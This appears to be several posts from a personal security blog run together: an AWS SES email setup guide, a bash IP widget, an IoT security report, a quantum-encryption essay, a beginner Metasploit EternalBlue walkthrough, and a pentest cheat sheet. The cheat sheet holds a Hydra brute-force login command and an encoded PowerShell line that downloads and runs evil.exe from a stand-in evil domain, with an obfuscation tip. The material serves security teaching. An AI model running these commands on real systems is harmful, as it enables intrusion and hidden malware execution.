5. Once you create identity it should automatically bring you to a page with details about the SES object, if not, click Verified identities on the left and click on your domain
6. About halfway down the page is the DomainKeys Identified Mail (DKIM) section, within it is 3 CNAME records which you need to add to your domain's DNS records
7. Once you've added the 3 CNAME records refresh the page until the Summary section shows Identity status Verified
8. Now that you've verified your domain you can send test emails from anything@your-domain.com, the issue is you cannot send any emails to non-verified accounts. Navigate to the Account Dashboard and you'll see a warning stating that your SES account for that region is in the sandbox. Click the button on the right that says Request production access
9. On this page you'll need to enter some details about what your website is and what types of emails you plan on sending with AWS SES. Submit the request and you'll likely immediately get a notification saying the request has been denied, this is just an automatic response in which they request more information that is commonly left out in the initial request. Answer the follow-up questions with as much detail as possible and submit the additional correspondence. Approval for getting out of the sandbox can take 1-2 days so you can either stop here and come back, or finish the rest of the configuration with the knowledge that some things won't work until the request is approved.
10. In the next step you'll generate SMTP credentials which you can use in a variety of ways to set up your website to be able to send emails. For example, I use Ghost to to host this website, and within a configuration file for ghost I have the following information:

 "mail": {
  "transport": "SMTP",
  "options": {
    "host": "<YOUR-SES-SERVER-NAME i.e. email-smtp.us-east-1.amazonaws.com>",
        "port": 465,
        "service": "SES",
        "auth": {
            "user": "<SES-ACCESS-KEY-ID>",
            "pass": "<SES-SECRET-ACCESS-KEY>"
    }
  }
},

Your website may have similar configuration files, or a variety of other setups which are capable of taking similar paremeters to be able to send automatic emails for things like account verification, password resets, newsletters, etc..
11. In the SES Account dashboard click Create SMTP credentials in the middle of the page
12. This process will create an IAM user automatically, on this page you can rename it to something like my-domain-ses so that it's recognizable in IAM
13. Click Create and either make note of the credentials it gives you, or download the .csv with the credentials
14. Assuming you've been approved to get out of the sandbox, you now have everything you need for your website to send emails from anything@your-domain.com
15. In the JSON example for Ghost configuration shown above you would replace the value of "user" and "pass" with your newly created credentials (and probably restart the process/service
16. Once this is complete your website should be able to send emails automatically to users for a variety of reasons such as account confirmations, password resets, etc..

Part 2: Set up SES Receiving

1. In the SES console navigate to Email receiving on the left hand side
2. Click Create rule set and give it an identifying name. You can only have one rule set active in any particular region, so if you have multiple domains you can name it something a little general like domain-email-receiving
3. Within the rule set click Create rule, repeat the process if you have multiple domains
4. Name the rule something like your-domain-receiving and leave everything else then click next
5. Click Add new recipient condition and enter your-domain.com (nothing should preceed your domain, i.e. just simscyberops.com, NOT admin@simscyberops.com or https://simscyberops.com/) then click Next
6. Here we can add actions for what you want to happen when an email is received, if you want to pay a few dollars a month to use AWS WorkMail you can clik Add new action and select it, for this configuration I used S3, A Lambda function, and SNS, continue if you would like to set up the same configuration
7. Click down on Add new action and select Deliver to S3 bucket then Create an S3 bucket with the button that appears
8. Click Next and review your rule then click Create rule
9. Once you've finished creating the rule, ensure that the Rule set is Active
10. You're now set up to receive emails to any address @your-domain.com!

Part 3: Set up Lambda Function + SNS (optional)

1. If you're going to set up a notification using SNS the easiest thing is to start by creating the topic, if you don't care about that you can skip to step 7
2. Navigate to SNS in the AWS console, go to Topics and click Create topic
3. Change the Type to Standard, name the topic something like my-domain-sns and optionally configure any of the other portions then click Create topic
4. Make note of the ARN generated for the new SNS topic which we'll use later
5. Click Create Subscription and then click down on Protocol and select the appropriate protocol for how you would like to subscribe, i.e. Email for subscribing with an email, SMS for subscribing with a phone number
6. Enter the appropriate information for your subscription and click Create subscription
7. Navigate to Lambda within the AWS and click Create Function
8. Leave the selection on Author from scratch, name your function, change the Runtime language to Python (Python 3.9 is the most current as of the writing of this post)
9. Leave everything else default and click Create function
10. Navigate into your function and find the portion where you can edit the Code source, delete whatever is there and past in the following code:

import boto3
import json

# event will be JSON from SES incoming email rule - NOT an S3 PUT event
def lambda_handler(event, context):

    try:
        ses_mail = event['Records'][0]['ses']['mail']
        message_id = ses_mail['messageId']
        print('Commencing processing for message {}'.format(message_id))
        timestamp = ses_mail['timestamp']
        source = ses_mail['source']
        newname = timestamp+"_"+source+"_.eml"
    except:
        print('mail read broke')
        
    try:
        s3 = boto3.resource('s3')
        copy_source = {'Bucket': 'your-s3-bucket-name','Key': message_id}
        bucket = s3.Bucket('your-s3-bucket-name')
        obj = bucket.Object(newname)
        obj.copy(copy_source)
    except:
        print('copy broke')
        
    try:
        s3 = boto3.resource('s3')
        s3.Object('your-s3-bucket-name',message_id).delete()
    except:
        print('delete broke')
    
    try:
        mailTo = ses_mail['commonHeaders']['to']
        mailFrom = ses_mail['commonHeaders']['from']
        mailDate = ses_mail['commonHeaders']['date']
        mailSubject = ses_mail['commonHeaders']['subject']
        
        message = f"Message received for {mailTo}, from {mailFrom}, on {mailDate}, with subject {mailSubject}."
        
        client = boto3.client('sns')
        response = client.publish(
            TargetArn='arn-for-your-sns-topic',
            Message=message,
            Subject='New Email for your domain'
            )
    except:
        print('sns publish broke')

11. After pasting the code in there's 4 lines you need to change (3 if you're not using SNS in which case delete the last function). The 3 parts that say 'your-s3-bucket-name' you should replace with your actual bucket name, i.e. 'your-domain-email-receiving' as well as near the bottom replace 'arn-for-your-sns-topic' with the arn from your SNS topic
12. The next step is to configure permissions so your Lambda function can actually touch the resources it needs. There's a few ways to do this but the easiest in this case is to click the Configuration tab for your Lambda then click Permissions on the left hand side
13. At the bottom click the Add permissions button under Resource-based policy then click AWS service
14. In this screen we're going to set up permission for SES to invoke this function, click down on Service and select Other
15. Under Statement ID give this policy a name, something like AllowSESInvoke
16. For Principal enter ses.amazonaws.com
17. For Source ARN you need the ARN from the specific rule set and rule that will be triggering this function, you can find it within SES and it should look something like this: arn:aws:ses:<region>:<your acct number>:receipt-rule-set/your-rule-set-name:receipt-rule/your-rule-name
18. Finally for Action select lambda:InvokeFunction and click Save
19. Back in Lambda > Configuration > Permissions, under Execution role click the role that was auto generated for your function, this will take you to the IAM console
20. Once again, there's a few ways to do this but I'll just walk through two. Click down on Add permissions and then click Create inline policy
21. The two ways to add permissions here are through the Visual editor or JSON, in either case you need to add 5 permissions: S3: ReplicateObject, PutObject, GetObject, and DeleteObject, then add the ARN for your s3 bucket with a /* at the end to indicate all objects in that bucket
22. Next add SNS Publish with the ARN for your SNS topic
23. If you're using the JSON permissions editor start by copying and pasting in the code block below and update the two ARN's for your S3 bucket and SNS topic:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "s3:ReplicateObject",
                "s3:PutObject",
                "s3:GetObject",
                "sns:Publish",
                "s3:DeleteObject"
            ],
            "Resource": [
                "arn:aws:sns:<region>:<account>:<sns-topic>",
                "arn:aws:s3:::<s3-bucket-name>/*"
            ]
        }
    ]
}

24. Review the policy and Save Changes
25. The last step is to head back to SES and tell the rule set to trigger your Lambda along with sending the emails to your S3 bucket
26. Navigate back to SES > Email Receiving, and click your Rule set then your rule
27. Click the edit button in the Recipient conditions section
28. Click Next until you get to Step 3 Add actions, then click Add new action and select Invoke AWS Lambda function
29. Select your newly created Lambda, leave the Invocation type as Event invocation then click Next and save your changes
30. You're now set up to receive emails at any address @your-domain and further those emails will be stored in an S3 bucket and automatically renamed in a way where you can keep track of everything without the use of an email client

Conclusion

If you followed this guide all the way here then congratulations! You're now set up to send and receive emails from your domain without the use of email services, which means if you're not expecting large amounts of traffic this all costs you mere pennies a month to operate. If you run into any issues when trying to configure your AWS account to be able to use SES for your domain then please feel free to email admin@simscyberops.com, or troubleshoot@simscyberops.com or help-me@simscyberops.com, or literally anything@simscyberops.com because if you paid attention you know that this configuration allows you to send and receive emails from any address from your domain!

Knowing your internal and external IP addresses can be useful for a variety of reasons, especially in development and penetration testing. Instead of checking your IP address constantly, you can add a nifty widget, as seen in the photo above, to your panel in many Linux distributions. We start by generating some quick bash code. Mine includes some additional code for the instances when I'm using a VPN, and I'm also working under the assumption that when I'm connected to a VPN, it's automatically going to default to the tun0 interface. If you don't expect to be using one, you can cut out those lines, or if your setup is different, you can adjust accordingly.

Find a spot where you can create a bash script that won't accidentally get deleted, and copy and paste the following code inside:

#!/bin/bash

# Generic Monitor Script
# Gets WAN, LAN, and VPN IP addresses
# Presents IP addresses to panel via colored output
# Provides colored Tooltips for each IP type

# Get internal IP address
hostIP="$(hostname -I)";
lanIP="$(echo "${hostIP}" | awk '{print $1}')";

# Get external IP address
wanIP="$(curl ifconfig.me 2>/dev/null)";

# Create text output
textOuts="<txt><span fgcolor='Green'>${lanIP}</span> | <span fgcolor='Cyan'>${wanIP}</span>"
# Create tooltip output
toolTips="<tool><span fgcolor='Green'>LAN</span> | <span fgcolor='Cyan'>WAN</span>"

# Get TUN device info
tunDev=$(ip a show tun0 2>&1);
# Test if device exists
if [[ ${tunDev} != *"not exist"* ]]
then
	# Get TUN IP address
	tunIP="$(echo "${hostIP}" | awk '{print $2}')";

	# Append text output
	textOuts+=" | <span fgcolor='Yellow'>${tunIP}</span>"	
	# Append tooltip output
	toolTips+=" | <span fgcolor='Yellow'>VPN</span>"
fi

# Close text output
textOuts+="</txt>"
# Close tooltip output
toolTips+="</tool>"


# Print output
echo "${textOuts} ${toolTips}"

Make sure you chmod +x widget.sh (or whatever you named it) to give it the appropriate execution permissions, then right-click your panel and select Panel > Add New Items... Your experience may vary depending on exactly which distribution you're working with. Within new items, you're looking for Generic Monitor.

Once you've added it, right-click and "Move," then slide that bad boy over to where you'd like it to be, then right-click and select Properties. Within properties, you want to click the ... and find the file location for your script, then uncheck the label box, and if so desired, change the Period (s) to something like 5s, so it updates a little faster. It's not too taxing on the system, so running it fairly often shouldn't affect anything. The last thing to do is just save it and enjoy your new IP Address Widget!

Short answer: no.

Table of Contents

Executive Summary
Introduction
Emerging IoT Threats and Vulnerabilities
The Culture of IoT Development, Security, and Operations (DevSecOps)
IoT Security
Conclusion
References

Executive Summary

If you ever have or choose to obtain a license in skydiving you will attend a course called Accelerated Free Fall (AFF). The course is comprised of a lengthy academic course followed by a handful of instructor accompanied skydives. In the course students spend many hours learning about all of the things that can go wrong when skydiving, and at this point in the course they may be tempted to throw their hands in the air and walk away, out of fear. However, the remainder of the course they learn instead how to mitigate and remedy most if not all of these events, building their confidence to make that first jump at approximately 15K ft in the air. This report is much like this course where I begin with describing many threats and vulnerabilities against devices which are part of the Internet of Things (IoT), followed by challenges the industry faces when creating a security-focused culture in development and operations. Following these sections the report comes to a conclusion by discussing a number of successful, and on-going solutions to many of the issues previously presented.

The section on emerging threats highlights several categories of attacks from the perspec- tive of end-result. This includes attacks which lead to compromise of sensitive data, devices being used in subsequent attacks either on the internal network or other organizations en- tirely, and finally denial of service. General examples include vulnerabilities which are also listed on the Open Web Application Security Project (OWASP) Internet of Things Top 10 list such as weak or hard coded passwords, and insecure data transfer and storage [1].

Next I discuss contributing factors which lead to a culture in the development industry that does not sufficiently prioritize security. This stems from a lack of revenue generated from prioritizing security, as well as consumers who are not often concerned about or even aware of vulnerabilities in devices which they are purchasing. The consequences that organizations face when vulnerabilities are discovered in their products are regularly limited to legal actions such as fines and sanctions placed by state and federal entities. This means that product sales continue more or less maintain pace following public release of vulnerabilities.

Finally, now that readers are sufficiently concerned for the industry, and even themselves, I detail several solutions to many of these challenges. These solutions include relatively new branches of cryptography and detection mechanisms designed for IoT devices. This is followed by solutions which restructure how to manage security from a bigger picture standpoint by changing the perimeter which we are attempting to protect. Finally, I make several recommendations for improving the culture surrounding developing securely which is a process which must start at the highest echelons of an organization, but must also be acknowledged and built into processes at every level. This is accomplished in part by acknowledging not only the legal but the moral consequences of not prioritizing security sufficiently.

Introduction

For everyday computing we have desktop and laptop computers, for operating on the go we have powerful hand-held devices, and for everything else we have the Internet of Things (IoT). The IoT category was born as a catch-all to capture the vast sea of devices that are connected to the internet, each of which is built for their own niche purpose. These devices are now and will continue to be a part of modern life and businesses alike. Statista estimates that worldwide spending in the IoT market will be $1.1 Trillion in 2023 [2]. Due to the massive variety in function of IoT devices, understanding vulnerabilities in order to characterize and mitigate against them is a complex task. This paper addresses some of those vulnerabilities from the perspective of the end result and presents various controls which can remove or mitigate risk for each category. This process starts with a discussion on several real vulnerabilities affecting IoT devices today, then addresses the culture surrounding development, security, and operations (DevSecOps), and concludes with mitigation methods for both users and developers of these devices. Additionally, it is important to consider how specific variables affect the overall security concerns and capabilities such as hardware, access to sensitive information, connection methods, and deployment location.

Emerging IoT Threats and Vulnerabilities

There are many ways to categorize the types of threats to IoT devices. One of the most useful is designed by the Open Web Application Security Project (OWASP). The organization created the OWASP Internet of Things Project in order to identify and inform on the top 10 IoT vulnerabilities, as well as a methodology for validating and testing security on devices [1]. Any developer, security researcher, or user of IoT devices should know and become familiar with this project. While this framework is a great standard, I’ll instead breakdown threats by the end results of the attack. This is sometimes referred to as Actions on Objective, which comes from the Lockheed Martin Cyber Kill Chain [3]. Please note this list is not exhaustive, but representative of several of the greatest threats to the industry. The three basic categories are exposure of sensitive information, usage of devices in subsequent attacks, and denial of service.

Beginning with exposure of sensitive information we will look at vulnerabilities which lead to unauthorized access to, or alteration of user data, device passwords, and other information. Data needs to be protected at three points in regard to IoT devices, that is on the device itself, while it is in motion, and on the server which hosts back-end services for the device. Protection of data on the device and in motion is a point of difficulty in IoT devices due to

limited resources such as hardware and power. The encryption algorithms that we rely on to protect our data to and from reasonably powerful devices such as phones and computers rely on the increasing hardware capabilities such as short- and long-term storage, and processing power. Many IoT devices, however, are designed to be as small as physically possibly to fit for example on a wrist. This leads to a scenario where developers may be inclined to implement solutions which skip over these protections entirely. A team of security researchers conducted analysis on several smart devices produced by a company called Withings including a Smart Baby Monitor, and a Smart Body Analyzer [4]. In both cases the team discovered data transmitted by the devices was in plain text which included sensitive personal information of the user. While the baby monitor required a one-time access token, they were relatively easily able to conduct an attack which led to unauthorized access to the camera feed.

In the next category of Actions on Objective we have attacks where the targeted device is used in a subsequent attack. This category is further broken down into two subcategories which are incidents where the attack is used to pivot further into an internal network, and other incidents where devices are used to launch or propagate attack against an entirely unrelated organization. In the first subcategory, a team of security researchers conducted a series of tests on a smart home device called Haier SmartCare [4]. After conducting tests on the device itself they were ultimately able to gain a root shell in the Linux operating system that the device was running. From there they took the root account password hash and cracked it in approximately five hours. Finally, equipped with this information they attempted a remote attack against another of the same device and discovered the password from the first device was hard coded on all of them, which is also the number one IoT vulnerability listed on the OWASP IoT Top 10 [1]. Despite the limited hardware capability of such a device, having a root shell on a remote Linux device, attackers could use this to pivot from the device and gain access to more protected systems within the internal network. Along the second subcategory, compromised IoT devices can also be used in large- scale distributed denial-of-service (DDoS) attacks against other organizations. For the sake of clarity, this category is not the same as a denial-of-service of the device itself, although that may happen, the intent is to use the device as a tool to deny or degrade service of another target. A large pool of compromised devices used for such a purpose are often referred to as a botnet. The largest known botnet comprised of compromised IoT devices is the Mirai botnet [5]. In 2016 the Mirai botnet controlled at least 100,000 devices and launched a DDoS against a DNS infrastructure company with a strength of 1.2Tbps, which at the time was the largest known DDoS attack.

Finally we have denial of service attacks against IoT devices. In this category of end- results it’s important to know what the purpose of the device is that is being affected. On one end of the spectrum a smart thermostat controlling a home HVAC system which is denied service may lead to inability for the system to continue heating or cooling, which is most cases would be a nuisance. On the other end we have cases such as one in 2017 when the FDA confirmed a vulnerability in a cardiac medical implant that could cause the device battery to be drained, or to incorrectly apply heart pace making [6]. In the latter example, the effects of such at attack are potentially fatal. Another attack on ZigBee enabled devices is dubbed the ghost attack. This attack does not require any previous compromise, or knowledge of the device but is instead designed to drain the device power [7]. There are similar attacks designed to work specifically against ZLL networked devices. Security researchers have discovered ways to scan for, factory reset, and deny service to ZLL devices [7].

The Culture of IoT Development, Security, and Operations (DevSecOps)

For the vast majority of companies cybersecurity is a necessary part of the process, but not something that generates any revenue. Especially for those working in developing and managing devices which are part of the Internet of Things (IoT). This means that there is no strong natural incentive for companies to prioritize secure development of the hardware and software for these devices. This is exasperated to a certain extent by a level of obliviousness from consumers. Consumers buy and own IoT devices and don’t often consider the existing or possible vulnerabilities of the device. They also likely don’t conduct such an evaluation regularly while owning these devices. People often just buy things and assume they will work as advertised. In July of 2015 security researchers demonstrated a vulnerability in the control systems of a Jeep Cherokee which allowed them ultimately to shut down the vehicle while it was being operated [8], another example of a denial-of-service attack on the device. This event subsequently led to a recall of the vehicle, and despite all of this, Jeep sales in the United States rose from 73K units in July of 2015, to 81K in August of 2015 [9].

While consequences from significant vulnerabilities being discovered can lead to decrease in sales, revenue, or stock prices, more often the impact to the company comes in the form of fines, sanctions, lawsuits, or other legal repercussions from those affected, or state and federal government. The consequences of ignoring security can be significant and will only continue to grow as IoT devices become more and more engrained into our everyday lives. In another case, a company called Owlet Baby Care developed a baby heart monitor which had security flaws so egregious at attacker could create any one of the end-results discussed previously, including exposure, usage, and denial, and more [10]. Despite this occurrence in late 2016, the company turned around and launched their initial public offering (IPO) on the stock market with a valuation of $1B [11].
These and many more examples and contributing factors are what leads the industry
towards a culture which prioritizes a short time-to-market over effective security. Many companies such as these rely instead on after-the-fact security frameworks such as penetrate and patch, and defect identification and mitigation. In both of these methodologies the concept is essentially to look at the end product and identify vulnerabilities, deficiencies, and inefficiencies to then turn around and adjust the software or manufacturing process to improve [12]. While these are useful tools, they should not be relied upon to ensure effective security mechanisms. In the software development world this process has proved to deliver poor security at a cost of many more working hours when compared to building in the security through initial development.

IoT Security

At this point I’ve discussed a number of threats and vulnerabilities that exist in the IoT device market, as well as some of the causes of those, including a lack of a security focused development culture. Now, I’ll discuss a variety of proposed or implemented solutions.

From a technical standpoint, security in IoT devices is largely constrained by the hard- ware limitations, as previously discussed. As a result, several new fields of study have opened and been explored which are focused on delivering similar capabilities on limited hardware. One such example is research into the field of lightweight cryptography, which seeks to replace the symmetric and asymmetric algorithms that we use in more capable devices [7]. Many IoT devices do not have sufficient memory capacity to manage these encryption mechanisms which leads to developers failing to implement protection of data in motion. Recently the Na- tional Institute of Standards and Technology (NIST) collected 67 submissions for lightweight cryptography algorithms which the organization will review and consider for standardization. After several rounds of review 10 finalists were chosen to undergo a final round, the results of which is expected to be announced in May 2022 [13]. In addition to these advancements in cryptography, research is being conducted in anti-virus and traffic analysis software which are designed specifically for IoT devices. Where some devices can have a significant change in behavior and volume of traffic day-to-day, many IoT devices are relatively consistent. This can be used to develop simplistic detection software which looks for anomalies in that behavior such as CPU and memory consumption or network throughput. These anomalies can be indicative of an ongoing attack and possibly even match signatures of known attacks [7].

Another possible solution to these limitations is outsourcing some of these intensive tasks entirely to a trusted third-party device [7]. For example, a smart watch may initially set up a secure communication channel with the user’s smart phone, following which the smart phone is responsible for managing as much of the security as possible, saving the watch itself from tasks which may drain its battery. Finally, a similar solution to outsourcing security mechanisms on a per-device basis is scoping out and implementing security as a whole at the network layer, which reduces the necessity for security on each device, especially as the heterogeneity of these devices continues to grow exponentially [14]. The proposal by security researchers here is to encourage a whole new sect of the industry they refer to as Security Management Providers (SMP) who would be responsible for developing solutions for organizations and individuals to manage security at the network level. They make several quality arguments to support this proposal including the fact that organizations could specialize in these security solutions and deliver a more effective answer than organizations who are more focused on reducing time-to-market (TTM) as much as possible. This type of security could also be updated and improved on a continuous basis to provide a similar, high level of protection to a large number and range of devices being used.

From a less technical perspective, creating a company culture that prioritizes security is something that has to start with C-Level executives and persist through many levels of management. The first step in encouraging such a culture is for those people to understand the consequences of not prioritizing security and ultimately creating an opportunity for threat actors to exploit the device or platform. In some cases, the company may be faced with fines and lawsuits which damage company reputation and cost financially. In other cases, vulnerabilities can lead to loss of life such as with medical devices or national critical infrastructure like power and water management. Regardless of the type of device developers are working, security experts should be integrated into the process to ensure the development is secure in order to meet legal and moral expectations.

Conclusion

As the market for IoT devices continues to grow, security becomes a greater concern. I’ve detailed many threats and vulnerabilities, as well as limitations of the devices which frequently create those issues. This was followed by a discussion on the factors which created and propagated an environment for these vulnerabilities to be created. Finally, several technical and non-technical solutions were proposed to mitigate these vulnerabilities by removing, transferring, or reducing the risk associated with employment of various IoT devices.

References

[1] D. Miessler, A. Guzman, V. Rudresh, and C. Smith, “Owasp internet of things.” https://owasp.org/www-project-internet-of-things/.

[2] Statista, “Prognosis of worldwide spending on the internet of things (iot) from 2018 to 2023.” https://www.statista.com/statistics/668996/worldwide-expenditures-for-the-internet-of-things/, 2022.

[3] Lockheed Martin, “The cyber kill chain.” https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html.

[4] J. Wurm, K. Hoang, O. Arias, A.-R. Sadeghi, and Y. Jin, “Security analysis on consumer and industrial iot devices.” IEEE, January 2016.

[5] N. Woolf, “Ddos attack that disrupted internet was largest of its kind in history, experts say.” https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet, October 2016.

[6] S. Larson, “Fda confirms that st. jude’s cardiac devices can be hacked.” https://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/, January 2017.

[7] F. Meneghello, M. Calore, D. Zucchetto, M. Polese, and A. Zanella, “Iot: Internet of threats? a survey of practical security vulnerabilities in real iot devices,” IEEE Internet of Things Journal, vol. 6, pp. 8182–8201, August 2019.

[8] BBC, “Fiat chrysler recalls 1.4 million cars after jeep hack.” https://www.bbc.com/news/technology-33650491, July 2015.

[9] T. Cain, “Jeep sales figures – us market.” https://www.goodcarbadcar.net/jeep-us-sales-figures/.

[10] I. Thomson, “Wi-fi baby heart monitor may have the worst iot secu- rity of 2016.” https://www.theregister.com/2016/10/13/possibly_worst_iot_security_failure_yet/?mt=1476453928163, October 2016.

[11] “Owlet baby care launches ipo via spac for $1 billion valuation.” https://cheddar.com/media/owlet-baby-care-launches-ipo-via-spac-for-1-billion-valuation, July 2021.

[12] M. Borish, B. Post, A. Roschli, P. Chessner, L. Love, and K. Gaul, “Defect identification and mitigation via visual inspection in large-scale additive manufacturing.” https://link.springer.com/article/10.1007/s11837-018-3220-6, November 2018.

[13] “Lightweight cryptography.” https://csrc.nist.gov/Projects/lightweight-cryptography, April 2022.

[14] V. Sivaraman, H. H. Gharakheili, A. Vishwanath, R. Boreli, and O. Mehani, “Network-level security and privacy control for smart-home iot devices.” IEEE, October 2015.

The ability to use encryption to protect data in transit is a critical functionality in information technology today. Encryption algorithms we use come in two different forms, symmetric and asymmetric, and rely on complicated algorithms. Symmetric cryptography relies on two or more parties having copies of the same encryption key which can be used to both encrypt and decrypt data. Asymmetric, as the name might indicate, is an encryption schema in which two keys exist, the public key and the private key. Each of these two keys can encrypt data which the other can decrypt. The reason these complex algorithms are effective for encryption is because computing them in one direction is reasonably easy, but reversing that computation in the opposite direction is much more difficult, and more importantly, beyond the capability of hardware that is commonly available today [1]. This is where quantum computing comes into play.

Quantum computing is an emerging technology which capitalizes on a complex quantum mechanics phenomenon where "particles can exist not only in the 0 and 1 state but in both simultaneously, known as superposition. A particle collapses into one of these states when it is inspected" [1]. In quantum computing these particles are called qubits. Two types of quantum computing have emerged from the development of this technology, non-universal and universal. These two types can be compared very directly to another advancing technology in the field of machine learning and artificial intelligence. Generally speaking, machine learning is the ability for a computer to learn based on specific given input to complete a fairly specific task, whereas artificial intelligence is a more vast concept in which a machine is theoretically capable of learning from many things and completing many complex and unrelated tasks. Universal and non-universal quantum computing are similar. "Universal quantum computers are developed to perform any given task, whereas non-universal quantum computers are developed for a given purpose" [1].

The significant takeaway from the advancements in this hardware capability is that the algorithms which are currently very difficult if not impossible for today's hardware to reverse is becoming well within the realm of possibility with quantum computing. If we persist with today's encryption standards then when this technology becomes common, as our hardware today has over the last few decades, data in transit will no longer be safe from sniffing. Instead, we should leverage the technology to our advantage, as well as other upcoming capabilities to build new encryption methods which are unbreakable even by quantum computers. Several new encryption methods are in development today by NIST such as "McEliece, Saber, Crystals-Kyber, and NTRU" [2]. Organizations everywhere using this technology to ensure the confidentiality and integrity of digital communications should prepare to transition to new methods as soon as they become available to stay ahead of malicious cyber actors.

References

[1] V. Mavroedidis, K. Vishi, M. Zych, and A. Josang, “The imapct of quantum computing on present cryptography,” International Journal of Advanced Computer Science and Applications, vol. 9, 2018.
[2] W. Copeland, “Quantum computing will break today’s encryption standards here’s what to do about it.” https://www.verizon.com/about/news/quantum-computing-encryption-standards, October 2021.

Over the last 20 years or so the Metasploit Framework, created by H.D. Moore, has grown in both capability and popularity to the point of being one of the core tools any penetration tester should know how and when to use. The framework itself modularizes components of a cyber attack so that pieces can be developed in isolation and used and reused in a massive variety of combinations. The types of modules within the framework are Exploit, Auxiliary, Post-Exploitation, Payload, and NOP Generator. Further, within each of these modules, there is a variety of basic and advanced configurations which can be set to easily tailor attacks to a specific target or targets.

In this article, I'll walk through four basic steps for beginners to get started using Metasploit.

Table of Contents

Part 1: Prepare
Part 2: Search
Part 3: Use
part 4: Configure
Part 5: Run/Exploit

Part 1: Prepare

If you're using Kali Linux then Metasploit is probably already installed and you can type msfconsole to launch the console environment. If you're using another distribution and you need to install it, instructions are here.

The framework has thousands of modules and it's a much deeper conversation how to know when and where to use those. In this article we'll walk through an example where a Windows machine running SMB is vulnerable to Eternal Blue. The results of a quick nmap scan, shown below, show that this machine has services running on ports 139 and 445, which is indicative of SMB.

Part 2: Search

Now that we've identified this machine may be vulnerable to Eternal Blue, we can jump into the console using msfconsole and search for the module. The search function allows you to search by specific keywords such as platform, port, type (exploit, payload, auxiliary, etc..), and the basic syntax is search <options> <keywords>:<values>. By viewing the help menu with search -h you can see a list of the keywords available to search on. In the simplest form however you can just type search and a term you want to search on, such as search EternalBlue. In the example below that search returned 4 results, all related to the exploit we were looking for, and #2 is the one we'll use.

Part 3: Use

This is easily the simplest step. Once we find a module we're interested in employing, we can type the commnd use followed by either the # result the module was, or by typing the full path of the module. In this case we can use either of the following

use 2
use exploit/windows/smb/ms17_010_eternalblue

Once we enter one of those the module will be loaded for configuration.

Please note that when you initally load exploit modules a payload will automatically be selected and most of the time it's a payload that is well suited for that exploit. However, you can reconfigure the payload to use any of the ones available within Metasploit, or even add your own.

Part 4: Configure

Outside of learning how to find modules that will meet your needs, configuration of the module is probably the most complicated step when actually using metasploit. The first thing you need to do is view what options are available for configuration with the particular module you have loaded. This can be done with one of two commands

show options
show advanced options

In the screenshot below we can see the basic options available for the eternalblue exploit we've selected. A few notes here: no configuration was completed before running the show options command, in the column "Current Setting," the items which are populated show either the default value, or in cases such as "LHOST" it was pulled from the default network interface.

The green and red marks are indicating where specific options are mandatory to be set before the exploit or module can be run. In this case all of the mandatory options are already set except one which is RHOSTS. To set any option we use the basic syntax set <name> <value>. So, to set RHOSTS, we can enter the command set RHOSTS 10.10.116.100, and then show options again to see that the change took effect.

Beyond the basic configurations, this is the step where any number of advanced concepts can be applied such as setting up proxy servers, adjusting the attack to target non-standard ports, setting wordlists to use in dictionary-based password attacks, etc... Beyond having thousands of modules to begin with, this is where the framework itself becomes an incredibly powerful tool because you can custom fit your attack to fit your target.

Part 5: Run/Exploit

The final step in the process is to simply run it. You can use either of the following commands:

run
exploit

Note that exploit accomplishes the same thing, it's just an alias for the command run. Once we run the exploit we can see a log of events and the status of success/failure for each step. If the exploit is overall succesfful, the payload executes, and the payload was configured to return a shell, then at this point you will be greeted with the prompt for that shell! In the example here the payload was a meterpreter reverse TCP shell so the final result is a meterpreter prompt where the command getuid shows the user we gained access as which is NT AUTHORITY\SYSTEM.

At this point we've succesfully used the Metasploit Framework to compromise a Windows machine running SMB using the Eternal Blue exploit module. If you're unfamiliar with Windows, NT AUTHORITY\SYSTEM is the highest privileges you can get on a Windows machine so the only place to go from here is using this machine to pivot to others in the network and spread access. Congratulations!

Contents

Cheat Sheets
Tools
Training
Commands

Cheat Sheets

• Tmux Cheat Sheet
• Docker Cheat Sheet
• GTFO Bins (Linux)
• LOLBas (Windows)
• Payload All The Things
• MSFVenom Reverse Shell Payload Cheatsheet
• Metasploit Cheat Sheet
• PCWDLD Linux Command Reference Guide

Tools

• Exploit Database
• Cyber Chef
• Online Decoder
• LinPEAS (Linux Privesc Binary)
• WinPEAS (Windows Privesc)
• DNS Exfil Tool
• Volatility (memory extraction utility framework)
• Online Hash Crackers:
  • Crackstation
  • MD5Decrypt
  • Hashes.com

Training

• Try Hack Me Learning Paths
• USAF Digital University (thousands of free training courses for anyone with an AF email)
• Reverse Engineering - NSA Codebreaker Challenge
• Reverse Engineering - Nightmare
• Awesome CTF
• Pico CTF

Commands

• Use Hydra to brute-force web page login
  • Command: sudo hydra -l <username> -P <password list> <IP> http-post-form "/<login page>:username=^USER^&password=^PASS^:<Invalid Login Message>"
  • Use -L <username list> to use a list instead of a single username
  • The parameters may need to be adjusted to the request the webpage is expecting, i.e. another common parameter used may look something like login=true
  • Example: sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form "/login.php:username=^USER^&password=^PASS^&login=true:Invalid Username or Password"
• Steghide/Stegcracker
  • Use Steghide to embed a text file inside an image: steghide embed -cf <image file> -ef <text file>
  • Use Steghide to extract message from an image: steghide extract -sf <image file>
  • Use Stegcracker to brute force crack a password protected file hidden in image file: stegcracker <image file> <wordlist>
• Powershell execute encoded commands:
  • Run on Windows machine that is not the target:
    $command = '<your command>' $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) echo $encodedCommand
  • Run on target machine:
    powershell.exe -encodedCommand '<value of $encodedCommand>'
  • Example:

  powershell.exe -encodedCommand 'dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AZQB2AGkAbAAtAGQAbwBtAGEAaQBuAC4AYwBvAG0ALwBlAHYAaQBsAC4AZQB4AGUAOwAgAHMAdABhAHIAdAAtAHAAcgBvAGMAZQBzAHMAIABlAHYAaQBsAC4AZQB4AGUA'
  

  • The command above decodes to `wget http://evil-domain.com/evil.exe; start-process evil.exe' which pulls an executable from an evil domain hosting the file then executes it.
  • Tip: To further obfuscate the execution use shortened versions of the argument such as -enco instead of -encodedCommand.
• Useful Linux Commands
